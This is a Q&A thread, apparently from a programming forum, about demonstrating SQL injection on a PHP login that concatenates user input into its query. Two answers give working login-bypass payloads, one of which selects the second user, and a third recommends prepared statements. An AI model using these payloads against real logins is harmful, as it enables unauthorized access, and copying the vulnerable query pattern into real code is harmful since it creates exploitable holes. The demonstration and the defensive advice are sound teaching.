SQL登录注入，选择第二行

Question

I have this sample php code that i want to demostrate SQL injection with.I have been able to login using ' or 1=1-- but it select the first row. I want to slect the second user .My table has only two users.Now i want to base my injection with the following code ' OR 1 =1 ORDER BY login DESC LIMIT 1 -- but it is resulting to an error.that is Fatal error: Uncaught Error: Call to a member function rowCount() .The question is how can i select the second row.

Here is by php code :

 try {
 $db = new PDO($db_conn_str, $db_username, $db_password);
 $query = "select * from " . $db_tablename . " where login='" . 
 $_POST["username"] . "' and passwd='" . $_POST["password"] . "'";
 /*echo "$query <br /><br />";*/
 $result = $db->query($query);
 $num=$result->rowCount();
 } catch (PDOException $e) {
  echo "Error in PDO: " . $e->getMessage();

Answer 1

尝试' OR 1 = 1 LIMIT 1 OFFSET 1查询。

Answer 2

OR condition should go with brackets before ORDER BY.

So it should be like this:

$_POST["username"] = "";
$_POST["password"] = "' OR (1=1) ORDER BY login DESC LIMIT 1--";

If you print out your query, it will be this:

select * from table_name where login='' and passwd='' OR (1=1) ORDER BY login DESC LIMIT 1--'

And it would be surprised to see someone using PDO without a prepared statement.

Answer 3

Use Prepared statement of PDO instead of this simple method. It Can't stop SQL Injection. for your support click below
http://php.net/manual/en/pdo.prepared-statements.php
http://php.net/manual/en/pdo.prepare.php

Example Given Below:

$stmt = $pdo->prepare('SELECT * FROM users WHERE email = ? AND status=?'); $stmt->execute([$email, $status]);
$user = $stmt->fetch();